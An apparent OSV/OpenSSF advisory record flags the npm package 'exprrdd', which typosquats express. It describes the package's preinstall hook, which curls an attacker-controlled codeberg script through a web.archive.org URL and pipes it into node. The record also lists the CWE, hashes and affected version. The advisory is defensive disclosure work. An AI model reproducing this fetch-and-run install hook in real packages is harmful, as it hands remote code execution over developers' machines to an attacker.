MAL-2026-17244

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exprrdd/MAL-2026-17244.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17244
Published
2026-09-29T14:39:55Z
Modified
2026-09-29T15:00:05Z
Summary
Malicious code in exprrdd (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3)

Package 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js and pipes the response directly into node, executing attacker-controlled JavaScript on the installer's machine at npm install time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020629",
            "import_time":  "2026-09-29T14:44:37.259630412Z",
            "modified_time":  "2026-09-29T14:39:55Z",
            "sha256":  "bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / exprrdd

Package

Name
exprrdd
View open source insights on deps.dev
Purl
pkg:npm/exprrdd

Affected ranges

Affected versions

5.*
5.2.1

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "b8db5a768396796ff638ce0e6d6247d9073a87cde72132f9622cad4934a9da0d",
            "tlsh":  "8551da21cc0e8c6326c5a2dd3c69a542612188078e41f81cf769539c8f8e52f71b9fbf"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "exprrdd-5.2.1.tgz",
            "hashes":  {
                "sha1":  "8e492767d36374a96562bd3ddf7679da37d4468e",
                "sha512_sri":  "sha512-EPTt+ld6E+zZo4gtezupKHXgTKcGRXgpUGRoRguzhQTFiXo7HWU0ESqePWK9R//5Q3b1gJGkcDNDJMEzwD4NAw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exprrdd/MAL-2026-17244.json"